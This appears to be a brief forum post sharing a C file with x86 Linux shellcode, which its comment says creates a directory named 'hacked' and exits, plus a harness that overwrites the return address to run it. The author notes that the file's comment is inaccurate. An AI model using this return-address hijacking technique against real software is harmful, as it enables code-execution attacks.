The comment in that file is not correct.. I cut and pasted the shell code in an existing c source and forgot to adjust it.. /* * This shellcode will do a mkdir() of 'hacked' and then an exit() * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed" "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68" "\x61\x63\x6b\x65\x64\x23"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }